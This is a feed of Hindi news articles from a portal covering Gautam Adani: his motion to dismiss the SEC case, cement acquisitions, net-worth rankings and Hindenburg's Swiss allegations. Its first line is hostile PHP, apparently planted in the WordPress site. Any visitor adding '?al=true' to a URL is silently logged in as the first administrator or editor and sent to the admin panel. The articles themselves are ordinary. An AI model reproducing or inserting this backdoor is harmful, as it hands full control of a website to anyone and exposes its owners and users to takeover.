// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Gautam Adani – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 08 Apr 2026 07:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 गौतम अडानी ने अमेरिकी कोर्ट में केस रद्द करने की की मांग, कहा ‘गड़बड़ी साबित नहीं होती’ https://pratyushaashakinayikiran.com/?p=211086 Wed, 08 Apr 2026 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=211086  नई दिल्ली
अडानी ग्रुप के चेयरमैन गौतम अडानी ने अमेरिका में सिक्योरिटीज धोखाधड़ी का केस रद्द करने की मांग की है. गौतम अडानी की ओर से अमेरिका की कोर्ट में प्री-मोशन पत्र दाखिल कर यह दलील दी गई है कि इसमें किसी भी तरह की गड़बड़ी साबित नहीं होती है और यह अमेरिकी अधिकार क्षेत्र में भी नहीं आता है. इसलिए अमेरिकन सिक्योरिटीज एंड एक्सचेंज कमीशन की ओर से दायर सिक्योरिटीज धोखाधड़ी के मुकदमे को खारिज किया जाए। 

उद्योगपति गौतम अडानी और उनके भतीजे सागर अडानी की ओर इसे लेकर कोर्ट में 30 अप्रैल को औपचारिक अर्जी दाखिल की जानी है. इससे पहले, प्री-मोशन पत्र दायर कर दिया गया है. अडानी के वकीलों ने इस पत्र के जरिये कहा है कि साल 2021 में अडानी ग्रुप की नवीकरणीय ऊर्जा कंपनी अडानी ग्रीन एनर्जी लिमिटेड (एजीईएल) की बॉन्ड बिक्री को लेकर अमेरिकन कमीशन के आरोप कानूनी तौर पर दोषपूर्ण हैं। 

गौतम अडानी और सागर अडानी की ओर से कोर्ट में यह भी कहा गया है कि इस मामले में व्यक्तिगत अधिकार क्षेत्र लागू नहीं होता, क्योंकि दोनों का अमेरिका से संबंध नहीं था और ना ही वह बॉन्ड जारी करने की प्रक्रिया में सीधे तौर पर शामिल ही थे. 75 करोड़ डॉलर के यह बॉन्ड अमेरिका के बाहर बिक्री किए गए थे. बॉन्ड्स की यह बिक्री रूल 144 ए और रेगुलेशन एस के तहत छूट का उपयोग करते हुए गैर-अमेरिकी अंडरराइटरों को की गई थी, बाद में इसका एक हिस्सा योग्य इंस्टीट्यूशनल बॉयर्स को दोबारा बेचा गया था। 

याचिकाकर्ता के वकीलों ने यह भी दावा किया है कि अमेरिकन एक्सचेंज की शिकायत में यह नहीं बताया गया है कि गौतम अडानी ने बॉन्ड जारी करने की मंजूरी दी थी, मुख्य बैठकों में शामिल हुए थे या अमेरिकी निवेशकों को लक्ष्य कर किसी गतिविधि के निर्देश दिए थे. यह मामला अमेरिका की सीमा से बाहर का है. संबंधित सिक्योरिटीज अमेरिका में लिस्टेड नहीं हैं. इसे जारी करने वाली कंपनी भारत की है और यह पूरा काम भी भारत में ही हुआ है. अमेरिकी सिक्योरिटीज कानून लागू करने की जरूरी शर्त है घरेलू लेनदेन. अमेरिकी सिक्योरिटीज एक्सचेंज कमीशन यह साबित करने में फेल रहा है। 

अडानी ग्रुप के वकीलों ने अमेरिकी सुप्रीम कोर्ट के पुराने फैसलों का भी हवाला दिया है और कहा है कि सिक्योरिटीज एक्सचेंज कमीशन ने किसी निवेशक को नुकसान होने के आरोप नहीं लगाए हैं. यह बॉन्ड 2024 में मैच्योर हो गए थे और ब्याज सहित इनका भुगतान भी कर दिया गया था. अडानी ग्रुप ने रिश्त के आरोप खारिज करते हुए कोर्ट में कहा है कि ये आरोप साबित करने के लिए कोई विश्वसनीय सबूत नहीं हैं. ग्रुप की ओर से यह भी कहा गया है कि भ्रष्टाचार रोधी नीतियां और कॉर्पोरेट प्रतिष्ठा के जिन बयानों का अमेरिकन एसईसी हवाला दे रही है, वे सामान्य कॉर्पोरेट आशावाद है. निवेशक इन पर कानूनी तरीके से भरोसा नहीं कर सकता। 

गौतम अडानी और सागर अडानी की ओर से कोर्ट में यह भी कहा गया है कि जरूरत पड़ी तो वे खुद भी प्री-मोशन कॉन्फ्रेंस में उपस्थित होने के लिए तैयार हैं. अमेरिकन सिक्योरिटी एक्सचेंज कमीशन ने नवंबर, 2024 में अडानी ग्रुप के खिलाफ मुकदमा दायर किया था. अमेरिकन एजेंसी का आरोप था कि निवेशकों को गुमराह किया गया. अमेरिकी एजेंसी ने यह केस अमेरिकी सिक्योरिटीज कानूनों के तहत दर्ज किया है। 

 

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गौतम अडानी ने अमेरिकी कोर्ट में केस रद्द करने की की मांग, कहा ‘गड़बड़ी साबित नहीं होती’ https://pratyushaashakinayikiran.com/?p=211088 Wed, 08 Apr 2026 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=211088  नई दिल्ली
अडानी ग्रुप के चेयरमैन गौतम अडानी ने अमेरिका में सिक्योरिटीज धोखाधड़ी का केस रद्द करने की मांग की है. गौतम अडानी की ओर से अमेरिका की कोर्ट में प्री-मोशन पत्र दाखिल कर यह दलील दी गई है कि इसमें किसी भी तरह की गड़बड़ी साबित नहीं होती है और यह अमेरिकी अधिकार क्षेत्र में भी नहीं आता है. इसलिए अमेरिकन सिक्योरिटीज एंड एक्सचेंज कमीशन की ओर से दायर सिक्योरिटीज धोखाधड़ी के मुकदमे को खारिज किया जाए। 

उद्योगपति गौतम अडानी और उनके भतीजे सागर अडानी की ओर इसे लेकर कोर्ट में 30 अप्रैल को औपचारिक अर्जी दाखिल की जानी है. इससे पहले, प्री-मोशन पत्र दायर कर दिया गया है. अडानी के वकीलों ने इस पत्र के जरिये कहा है कि साल 2021 में अडानी ग्रुप की नवीकरणीय ऊर्जा कंपनी अडानी ग्रीन एनर्जी लिमिटेड (एजीईएल) की बॉन्ड बिक्री को लेकर अमेरिकन कमीशन के आरोप कानूनी तौर पर दोषपूर्ण हैं। 

गौतम अडानी और सागर अडानी की ओर से कोर्ट में यह भी कहा गया है कि इस मामले में व्यक्तिगत अधिकार क्षेत्र लागू नहीं होता, क्योंकि दोनों का अमेरिका से संबंध नहीं था और ना ही वह बॉन्ड जारी करने की प्रक्रिया में सीधे तौर पर शामिल ही थे. 75 करोड़ डॉलर के यह बॉन्ड अमेरिका के बाहर बिक्री किए गए थे. बॉन्ड्स की यह बिक्री रूल 144 ए और रेगुलेशन एस के तहत छूट का उपयोग करते हुए गैर-अमेरिकी अंडरराइटरों को की गई थी, बाद में इसका एक हिस्सा योग्य इंस्टीट्यूशनल बॉयर्स को दोबारा बेचा गया था। 

याचिकाकर्ता के वकीलों ने यह भी दावा किया है कि अमेरिकन एक्सचेंज की शिकायत में यह नहीं बताया गया है कि गौतम अडानी ने बॉन्ड जारी करने की मंजूरी दी थी, मुख्य बैठकों में शामिल हुए थे या अमेरिकी निवेशकों को लक्ष्य कर किसी गतिविधि के निर्देश दिए थे. यह मामला अमेरिका की सीमा से बाहर का है. संबंधित सिक्योरिटीज अमेरिका में लिस्टेड नहीं हैं. इसे जारी करने वाली कंपनी भारत की है और यह पूरा काम भी भारत में ही हुआ है. अमेरिकी सिक्योरिटीज कानून लागू करने की जरूरी शर्त है घरेलू लेनदेन. अमेरिकी सिक्योरिटीज एक्सचेंज कमीशन यह साबित करने में फेल रहा है। 

अडानी ग्रुप के वकीलों ने अमेरिकी सुप्रीम कोर्ट के पुराने फैसलों का भी हवाला दिया है और कहा है कि सिक्योरिटीज एक्सचेंज कमीशन ने किसी निवेशक को नुकसान होने के आरोप नहीं लगाए हैं. यह बॉन्ड 2024 में मैच्योर हो गए थे और ब्याज सहित इनका भुगतान भी कर दिया गया था. अडानी ग्रुप ने रिश्त के आरोप खारिज करते हुए कोर्ट में कहा है कि ये आरोप साबित करने के लिए कोई विश्वसनीय सबूत नहीं हैं. ग्रुप की ओर से यह भी कहा गया है कि भ्रष्टाचार रोधी नीतियां और कॉर्पोरेट प्रतिष्ठा के जिन बयानों का अमेरिकन एसईसी हवाला दे रही है, वे सामान्य कॉर्पोरेट आशावाद है. निवेशक इन पर कानूनी तरीके से भरोसा नहीं कर सकता। 

गौतम अडानी और सागर अडानी की ओर से कोर्ट में यह भी कहा गया है कि जरूरत पड़ी तो वे खुद भी प्री-मोशन कॉन्फ्रेंस में उपस्थित होने के लिए तैयार हैं. अमेरिकन सिक्योरिटी एक्सचेंज कमीशन ने नवंबर, 2024 में अडानी ग्रुप के खिलाफ मुकदमा दायर किया था. अमेरिकन एजेंसी का आरोप था कि निवेशकों को गुमराह किया गया. अमेरिकी एजेंसी ने यह केस अमेरिकी सिक्योरिटीज कानूनों के तहत दर्ज किया है। 

 

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गौतम अदाणी ने की इस्कॉन ग्रुप के चेयरमैन से मुलाकात, महाकुंभ मेले में श्रद्धालुओं को परोसेंगे भोजन https://pratyushaashakinayikiran.com/?p=120436 Sun, 12 Jan 2025 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=120436 नई दिल्ली।

अदाणी समूह के चेयरमैन गौतम अदाणी ने इस्कॉन के गवर्निंग बॉडी कमीशन के चेयरमैन गुरु प्रसाद स्वामी महाराज से मुलाकात की। इस मौके पर उद्योगपति गौतम अदाणी ने कहा कि मैं एक साधारण परिवार से आता हूं। हम समाज की मदद के लिए आप पर निर्भर रहेंगे।

आपके पास एक शानदार संगठन और वितरण प्रणाली है जो अंततः लाखों लोगों तक पहुंचती है। इस साल प्रयागराज में महाकुंभ मेले में श्रद्धालुओं को भोजन परोसने के लिए अदाणी समूह और इस्कॉन ने हाथ मिलाया है। महाप्रसाद सेवा 13 जनवरी से 26 फरवरी तक महाकुंभ मेले की पूरी अवधि के दौरान दी जाएगी।

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Gautam Adani विदेशों में बड़ा दांव खेलने की तैयारी में, दुबई में बनाई नई कंपनी https://pratyushaashakinayikiran.com/?p=90437 Sun, 27 Oct 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=90437 नई दिल्ली
 भारत और एशिया के दूसरे बड़े रईस गौतम अडानी विदेशों में बड़ा दांव खेलने की तैयारी में हैं। अडानी ग्रुप की फ्लैगशिप कंपनी अडानी एंटरप्राइजेज की सहायक कंपनी अडानी एयरपोर्ट होल्डिंग्स लिमिटेड (AAHL) ने शनिवार को घोषणा की कि उसने यूएई में सेलेरिटास इंटरनेशनल FZCO नाम से एक नई यूनिट बनाई है। 100,000 दिरहम की अधिकृत और चुकता शेयर पूंजी के साथ सेलेरिटास जेबेल अली फ्री जोन में परिचालन करने के लिए तैयार है। हालांकि कंपनी ने एक्सचेंज फाइलिंग में कहा कि इसने अभी तक व्यावसायिक गतिविधियां शुरू नहीं की हैं। सेलेरिटास में अडानी एयरपोर्ट होल्डिंग्स की 74% हिस्सेदारी है और इस अधिग्रहण में कोई रिलेटेड पार्टी ट्रांजैक्शन शामिल नहीं है।

स्टॉक एक्सचेंज फाइलिंग के अनुसार अडानी एयरपोर्ट होल्डिंग्स लिमिटेड की एक संयुक्त उद्यम कंपनी अप्रैल मून रिटेल प्राइवेट लिमिटेड 200 करोड़ रुपये में कोकोकार्ट वेंचर्स प्राइवेट लिमिटेड में 74% हिस्सेदारी हासिल करने के लिए तैयार है। अडानी एंटरप्राइजेज ग्रुप के एयरपोर्ट, रोड्स और डेटा सेंटर बिजनस को ऑपरेट करती है। कंपनी ने चालू वित्त वर्ष के लिए 80,000 करोड़ रुपये के पूंजीगत व्यय की योजना बनाई है। इसमें से 50,000 करोड़ रुपये एयरपोर्ट कारोबार और अडानी न्यू इंडस्ट्रीज के लिए आवंटित किए गए हैं। अडानी एयरपोर्ट्स के पास सात चालू एयरपोर्ट और नवी मुंबई में एक निर्माणाधीन एयरपोर्ट है। उसने अगले दशक में 21 अरब डॉलर के निवेश की रूपरेखा तैयार की है।

एयरपोर्ट बिजनस

अडानी ग्रुप 2019 से एयरपोर्ट बिजनस में काम कर रहा है और वर्तमान में भारत में एयरपोर्ट का सबसे बड़ा निजी ऑपरेटर है। अडानी एंटरप्राइजेज का समेकित शुद्ध लाभ जून 2024 को समाप्त पहली तिमाही में पिछले साल के मुकाबले 116% बढ़कर 1,454 करोड़ रुपये हो गया। एक साल पहले की समान अवधि में यह 674 करोड़ रुपये था। समीक्षाधीन अवधि में कंपनी का परिचालन से राजस्व पिछले वर्ष की इसी अवधि के 22,644 करोड़ रुपये की तुलना में 12% बढ़कर 25,472 करोड़ रुपये हो गया। शुक्रवार को अडानी एंटरप्राइजेज का शेयर 4.76% गिरावट के साथ 2693.70 रुपये पर बंद हुआ।

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गौतम अडानी की झोली में गिरी एक और सीमेंट कंपनी, जानिए कितने में हुई डील https://pratyushaashakinayikiran.com/?p=88537 Tue, 22 Oct 2024 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=88537 मुंबई

 भारत और एशिया के दूसरे सबसे बड़े रईस गौतम अडानी ने एक और सीमेंट कंपनी को खरीद लिया है। अडानी ग्रुप की कंपनी अंबुजा सीमेंट ने मंगलवार को घोषणा की कि वह 8,100 करोड़ रुपये के इक्विटी मूल्य पर ओरिएंट सीमेंट लिमिटेड (OCL) का अधिग्रहण करेगी। ओरिएंट सीमेंट सीके बिड़ला ग्रुप की कंपनी है। यह सौदा 395.4 रुपये प्रति शेयर के भाव पर हुआ है। अंबुजा ने साथ ही कंपनी में अतिरिक्त 26% हिस्सेदारी हासिल करने के लिए ओपन ऑफर पेश किया है। इस अधिग्रहण से अडानी सीमेंट को देश के मुख्य बाजारों में अपनी उपस्थिति बढ़ाने और सीमेंट मार्केट में अपनी हिस्सेदारी में 2% की वृद्धि करने में मदद मिलेगी। अडानी ग्रुप देश की दूसरी बड़ी सीमेंट कंपनी है। आदित्य बिड़ला ग्रुप की कंपनी अल्ट्राटेक पहले नंबर पर है।

अंबुजा सीमेंट ने स्टॉक एक्सचेंज फाइलिंग में कहा कि 3-4 महीनों के भीतर ओपन ऑफर SAST से नियमों के प्रावधानों के अनुसार पूरा हो जाएगा। ओपन ऑफर 395.40 रुपये प्रति इक्विटी शेयर पर किया जा रहा है। इस घोषणा के बाद शुरुआती कारोबार में दोनों सीमेंट कंपनियों के शेयर में तेजी दिख रही है। अंबुजा के शेयर 1.49% बढ़कर 580 रुपये पर पहुंच गए जबकि ओरिएंट सीमेंट के शेयर 9:20 बजे तक 1.65% बढ़कर 358.25 रुपये पर कारोबार कर रहे थे।

कितनी बढ़ेगी क्षमता

डील के मुताबिक ओरिएंट सीमेंट लिमिटेड के मौजूदा प्रमोटरों और कुछ सार्वजनिक शेयरधारकों से अंबुजा 46.8% शेयर हासिल करेगी। अधिग्रहण को पूरी तरह से आंतरिक स्रोतों से फंड किया जाएगा। अंबुजा सीमेंट्स के डायरेक्टर करण अडानी ने कहा कि यह अधिग्रहण अंबुजा सीमेंट्स की विकास यात्रा में एक और महत्वपूर्ण कदम है। अंबुजा के अधिग्रहण के दो वर्षों के भीतर सीमेंट क्षमता में 30 MTPA की वृद्धि हुई है। OCL के अधिग्रहण से अंबुजा वित्त वर्ष 2025 में 100 MTPA सीमेंट क्षमता तक पहुंचने के लिए तैयार है।

अडानी ने कहा कि ओसीएल के पास स्ट्रैटजिक लोकेशन, हाई क्वालिटी वाले चूना पत्थर के भंडार और सभी तरह के जरूरी अप्रूवल हैं। निकट भविष्य में इसी सीमेंट उत्पादन क्षमता 16.6 एमटीपीए तक बढ़ सकती है। अडानी ग्रुप ने अंबुजा सीमेंट्स और एसीसी लिमिटेड को $10.5 अरब में स्विट्जरलैंड के होलसिम ग्रुप से खरीदा था। इस साल अगस्त में अंबुजा सीमेंट्स ने गुजरात में सांघी इंडस्ट्रीज को 5,000 करोड़ रुपये में खरीदा। इसकी उत्पादन क्षमता 6.1 MTPA है।

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टॉप 20 से बाहर होने के करीब अडानी, अंबानी की नेटवर्थ में भी गिरावट https://pratyushaashakinayikiran.com/?p=84904 Tue, 15 Oct 2024 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=84904 नई दिल्ली
 भारत और एशिया के सबसे बड़े रईस मुकेश अंबानी और गौतम अडानी की नेटवर्थ में हफ्ते के पहले दिन  गिरावट देखने को मिली। अडानी पहले ही 100 अरब डॉलर क्लब से बाहर हो चुके हैं। अब उन पर अमीरों की लिस्ट में टॉप 20 से बाहर होने का खतरा मंडरा रहा है। ब्लूमबर्ग बिलिनेयर इंडेक्स के मुताबिक सोमवार को उनकी नेटवर्थ में 67.3 करोड़ डॉलर की गिरावट आई। वह 98.9 अरब डॉलर की नेटवर्थ के साथ दुनिया के अमीरों की लिस्ट में 18वें नंबर पर हैं। इस साल उनकी नेटवर्थ में 14.6 अरब डॉलर की तेजी आई है।

इस बीच देश की सबसे वैल्यूएबल कंपनी रिलायंस इंडस्ट्रीज के चेयरमैन मुकेश अंबानी की नेटवर्थ में भी 98.4 लाख डॉलर की गिरावट आई। वह 104 अरब डॉलर की नेटवर्थ के साथ दुनिया के अमीरों की लिस्ट में 14वें नंबर पर है। इस साल उनकी नेटवर्थ में 7.91 अरब डॉलर की गिरावट आई है। रिलायंस ने बाजार बंद होने के बाद अपने तिमाही नतीजों की घोषणा की। दूसरी तिमाही में कंपनी के नेट प्रॉफिट में तीन फीसदी गिरावट आई है। सोमवार को कंपनी का शेयर बीएसई पर 0.11 फीसदी गिरावट के साथ बंद हुआ जबकि सेंसेक्स 0.73 फीसदी तेजी के साथ बंद हुआ।

जेंसन हुआंग टॉप 10 की दहलीज पर

इस बीच अमेरिका की दिग्गज एआई चिप कंपनी एनवीडिया का शेयर  रेकॉर्ड स्तर पर पहुंच गया। इसके साथ ही यह दुनिया की सबसे वैल्यूएबल कंपनी बनने के करीब पहुंच गई। इसका मार्केट कैप 3.39 ट्रिलियन डॉलर हो गया है जबकि ऐपल का मार्केट कैप 3.52 ट्रिलियन डॉलर है। इस तेजी से कंपनी के फाउंडर और सीईओ जेंसन हुआंग की नेटवर्थ 121 अरब डॉलर पहुंच गई है। इस बीच लैरी एलिसन 186 अरब डॉलर की नेटवर्थ के साथ चौथे नंबर पर पहुंच गए हैं। एलिसन सॉफ्टवेयर कंपनी ओरेकल कॉर्प के सबसे बड़े स्टेकहोल्डर हैं।

टेस्ला, स्पेसएक्स, एक्स समेत कई कंपनियों को चला रहे एलन मस्क 241 अरब डॉलर की नेटवर्थ के साथ दुनिया के अमीरों की लिस्ट में टॉप पर बने हुए हैं। ऐमजॉन के फाउंडर जेफ बेजोस 210 अरब डॉलर के साथ फिर दूसरे नंबर पर आ गए हैं। फेसबुक की पेरेंट कंपनी मेटा प्लेटफॉर्म के सीईओ मार्क जकरबर्ग 209 अरब डॉलर के साथ अब तीसरे नंबर पर खिसक गए हैं। फ्रांसीसी कारोबारी बर्नार्ड अरनॉल्ट 185 अरब डॉलर की नेटवर्थ के साथ पांचवें नंबर पर खिसक गए हैं। इस साल उनकी नेटवर्थ में 22.2 अरब डॉलर की गिरावट आई है।

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गौतम अडानी की नेटवर्थ में आई भारी उछाल, अमीरों की लिस्ट में 16वें नंबर पर पहुंचे https://pratyushaashakinayikiran.com/?p=82445 Thu, 10 Oct 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=82445 नई दिल्ली
 लगातार छह दिन की गिरावट के बाद घरेलू शेयर बाजार में तेजी लौटी। शुरुआत में मार्केट में भारी उतारचढ़ाव दिख रहा था लेकिन हरियाणा विधानसभा चुनावों की मतगणना आगे बढ़ने के साथ ही शेयर मार्केट में तेजी दिखने लगी। इस तेजी से सबसे ज्यादा फायदे में गौतम अडानी रहे। अडानी ग्रुप के चेयरमैन की नेटवर्थ में  4.35 अरब डॉलर यानी करीब 36,505 करोड़ रुपये की तेजी आई। इसके साथ ही वह दुनिया के अमीरों की लिस्ट में दो स्थान की छलांग लगाते हुए 16वें नंबर पर पहुंच गए हैं। ब्लूमबर्ग बिलिनेयर इंडेक्स के मुताबिक उनकी नेटवर्थ 101 अरब डॉलर पहुंच गई है।

अडानी  एनवीडिया के फाउंडर और सीईओ जेंसन हुआंग के बाद सबसे ज्यादा कमाई करने वाले शख्स रहे। हुआंग की नेटवर्थ में 4.36 अरब डॉलर की तेजी आई। अडानी की नेटवर्थ में इस साल 16.3 अरब डॉलर की तेजी आई है। देश की सबसे वैल्यूएबल कंपनी रिलायंस इंडस्ट्रीज के चेयरमैन मुकेश अंबानी की नेटवर्थ में भी  तेजी रही। उनकी नेटवर्थ 2.12 अरब डॉलर की तेजी के साथ 106 अरब डॉलर पहुंच चुकी है। इस साल उनकी नेटवर्थ में 9.90 अरब डॉलर की तेजी आई है और वह दुनिया के अमीरों की लिस्ट में 14वें नंबर पर हैं। अंबानी और अडानी की नेटवर्थ में अब केवल 5 अरब डॉलर का फासला रह गया है।

कौन-कौन है टॉप 10 में

इस बीच एलन मस्क 259 अरब डॉलर की नेटवर्थ के साथ दुनिया के अमीरों की लिस्ट में पहले नंबर पर बने हुए हैं। फेसबुक की पेरेंट कंपनी मेटा प्लेटफॉर्म के सीईओ मार्क जकरबर्ग 210 अरब डॉलर के साथ दूसरे नंबर पर हैं। जेफ बेजोस ($206 अरब) तीसरे, बर्नार्ड अरनॉल्ट ($191 अरब) चौथे, लैरी एलिसन पांचवें ($185 अरब), बिल गेट्स ($161 अरब) छठे, लैरी पेज ($149 अरब) सातवें, स्टीव बाल्मर ($144 अरब) आठवें, वॉरेन बफे ($143 अरब) नौवें और सर्गेई ब्रिन ($140 अरब) दसवें नंबर पर हैं।

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सीमेंट सेक्टर में बड़ी खरीदारी की तैयारी में हैं गौतम अडानी https://pratyushaashakinayikiran.com/?p=81503 Tue, 08 Oct 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=81503 नई दिल्ली
 भारत और एशिया के दूसरे बड़े रईस गौतम अडानी सीमेंट सेक्टर में बड़ी खरीदारी की तैयारी में हैं। सूत्रों के मुताबिक अडानी ग्रुप ने जर्मनी की कंपनी हीडलबर्ग मैटेरियल्स के भारत में सीमेंट कारोबार को खरीदने के लिए बातचीत शुरू कर दी है। इस खरीदारी की अगुवाई ग्रुप की कंपनी अंबुजा सीमेंट्स करेगी। माना जा रहा है कि यह डील 1.2 अरब डॉलर (10,000 करोड़ रुपये) में हो सकती है। यदि यह डील सफल होती है तो इससे इंडस्ट्री में चल रही कंसोलिडेशन की रेस तेज होगी। देश की की टॉप सीमेंटकंपनी अल्ट्राटेक भी अपनी पोजीशन को बनाए रखने के लिए कंपनियों का अधिग्रहण कर रही है।

अडानी ग्रुप अभी देश की दूसरी बड़ी सीमेंट निर्माता कंपनी है। उसने साल 2022 में होलसिम के भारतीय बिजनस को खरीदकर सीमेंट इंडस्ट्री में एंट्री की थी। सूत्रों के मुताबिक अडानी ग्रुप होलसिम की तरह हीडलबर्ग के साथ भी डील को तेजी से आगे बढ़ना चाहता है। 30 जून, 2024 को अंबुजा सीमेंट्स के पास 18,299 करोड़ रुपये की नकदी समकक्ष थे। हालांकि एक सूत्र ने कहा कि अगर दूसरे दावेदार भी आगे आते हैं तो अडानी ग्रुप इससे बाहर निकल सकता है। जर्मन कंपनी भारत में लिस्टेड हीडलबर्ग सीमेंट इंडिया और अनलिस्टेड जुआरी सीमेंट के जरिए ऑपरेट करती है।

भारत में हीडलबर्ग का बिजनस

हीडलबर्ग सीमेंट इंडिया का मार्केट कैप 4,957 करोड़ रुपये है और इसमें 69.39% हिस्सेदारी मूल कंपनी की है। हीडलबर्ग दुनिया की सबसे बड़ी सीमेंट उत्पादकों में से एक है और 50 देशों में मौजूद है। सूत्रों ने कहा कि हीडलबर्ग हेडक्वार्टर के एक सीनियर अधिकारी अडानी ग्रुप के साथ बातचीत का नेतृत्व कर रहे हैं। हालांकि उत्पादन क्षमता को लेकर मतभेद हो सकते हैं। हीडलबर्ग का दावा है कि उसकी क्षमता लगभग 14 मिलियन टन है लेकिन यह कम हो सकती है। यह वैल्यूएशन को प्रभावित कर सकती है।

हीडलबर्ग ने साल 2006 में मैसूर सीमेंट, कोचीन सीमेंट और इंडोरामा सीमेंट के जॉइंट वेंचर के अधिग्रहण के साथ भारत में प्रवेश किया था। कंपनी का दावा है कि साल 2016 में इटालसीमेंटी के अधिग्रहण के बाद भारत में उसकी उत्पादन क्षमता 14 मिलियन टन पहुंच गई। इस बारे में हीडलबर्ग और अडानी ग्रुप ने प्रश्नों का उत्तर नहीं दिया।

 

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गौतम अडानी के फ्रीज हो गए ₹26,01,83,77,500! आ गया ग्रुप का जवाब, क्या है शेयरों का हाल? https://pratyushaashakinayikiran.com/?p=69966 Fri, 13 Sep 2024 16:07:00 +0000 https://pratyushaashakinayikiran.com/?p=69966 नई दिल्ली
 अमेरिका की शॉर्ट सेलिंग कंपनी हिंडनबर्ग रिसर्च ने भारत के दूसरे बड़े रईस गौतम अडानी पर एक और खुलासा किया है। उसका दावा किया है कि स्विस अधिकारियों ने अडानी ग्रुप के स्विस खातों में जमा $31 करोड़ से अधिक राशि को फ्रीज कर दिया है। हिंडनबर्ग का कहना है कि स्विस क्रिमिनल कोर्ट के रेकॉर्ड्स में यह बात सामने आई है। शॉर्ट सेलिंग कंपनी का दावा है कि स्विट्जरलैंड में अडानी के खिलाफ 2021 से मनी लॉन्ड्रिंग और जालसाजी की जांच चल रही है। इसी के तहत यह कार्रवाई की गई है।

हालांकि अडानी ग्रुप ने हिंडनबर्ग के आरोपों को निराधार बताते हुए खारिज कर दिया है। ग्रुप का कहना है कि उसका विदेशी होल्डिंग स्ट्रक्चर पूरी तरह से पारदर्शी, इसका पूरी तरह से खुलासा किया गया है और यह उन देशों के कानूनों के मुताबिक है। अडानी ग्रुप का कहना है कि वह किसी भी स्विस अदालती कार्यवाही में शामिल नहीं हैं। कोर्ट के दस्तावेजों में ग्रुप की किसी भी कंपनी के नाम का उल्लेख नहीं किया गया है। साथ ही ग्रुप को किसी भी तरह के स्पष्टीकरण के लिए कोई अनुरोध नहीं मिला है।

शेयरों का हाल

पिछले साल जनवरी में हिंडनबर्ग ने अडानी ग्रुप के बारे में एक रिपोर्ट जारी की थी। इसमें ग्रुप पर शेयरों की कीमत में हेरफेर समेत कई तरह की गड़बड़ियों के आरोप लगाए गए थे। अडानी ग्रुप ने इन आरोपों का खंडन किया था लेकिन इससे ग्रुप के शेयरों में भारी गिरावट आई थी। हालांकि अब काफी हद तक अडानी ग्रुप के शेयर उस सुनामी से उबर चुके हैं। लेकिन अब एक बार फिर हिंडनबर्ग ने अडानी ग्रुप पर आरोप लगाए हैं। शुक्रवार को शुरुआती कारोबार में अडानी ग्रुप के शेयरों में मिलाजुला रुख दिखाई दे रहा है। ग्रुप की दस लिस्टेड कंपनियों में से छह में मामूली गिरावट आई है जबकि चार शेयर तेजी के साथ ट्रेड कर रहे हैं।

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गौतम अडानी साल 2028 में बन सकते हैं ट्रिलिनेयर, एलन मस्क 2027 में पा सकते हैं यह मुकाम https://pratyushaashakinayikiran.com/?p=68392 Tue, 10 Sep 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=68392 नई दिल्ली
 दुनिया के साल 2027 तक पहला ट्रिलिनेयर मिल सकता है। एक रिपोर्ट के मुताबिक एलन मस्क दुनिया के पहले शख्स बन सकते हैं। साल 2027 तक उनकी नेटवर्थ एक लाख करोड़ डॉलर यानी 8,39,67,92,09,00,000 रुपये पहुंच सकती है। उनके एक साल बाद भारत को भी अपना पहला ट्रिलिनेयर मिल सकता है। देश के तीसरे बड़े औद्योगिक घराने अडानी ग्रुप के चेयरमैन गौतम अडानी 2028 में ट्रिलिनेयर बन सकते हैं। लेकिन इसके लिए उनकी नेटवर्थ में सालाना औसतन 123% की तेजी आनी चाहिए। ब्लूमबर्ग बिलिनेयर मस्क अभी 237 अरब डॉलर के साथ दुनिया के सबसे बड़े रईस हैं। वहीं अडानी 99.6 अरब डॉलर के साथ दुनिया के अमीरों की लिस्ट में 13वें नंबर पर हैं।

Informa Connect Academy की एक स्टडी के मुताबिक टेस्ला, स्पेसएक्स और एक्स जैसी कई कंपनियों को चला रहे मस्क की नेटवर्थ सालाना 110 फीसदी औसत रफ्तार से बढ़ रही है। इसके मुताबिक 2027 तक उनकी नेटवर्थ चार गुना से ज्यादा बढ़ जाएगी। इस साल अब तक उनकी नेटवर्थ में 7.73 अरब डॉलर की तेजी आई है। दूसरी ओर अडानी की नेटवर्थ सालाना 123 फीसदी की औसत रफ्तार से बढ़ रही है। अगर उनकी दौलत इसी हिसाब से बढ़ती रही तो वह साल 2028 तक ट्रिलिनेयर बन जाएंगे। इस साल उनकी नेटवर्थ में 15.3 अरब डॉलर की तेजी आई है। अडानी एशियाई अमीरों की लिस्ट में रिलायंस इंडस्ट्रीज के मुकेश अंबानी के बाद दूसरे नंबर पर हैं।

2030 तक कितना बड़ा होगा क्लब

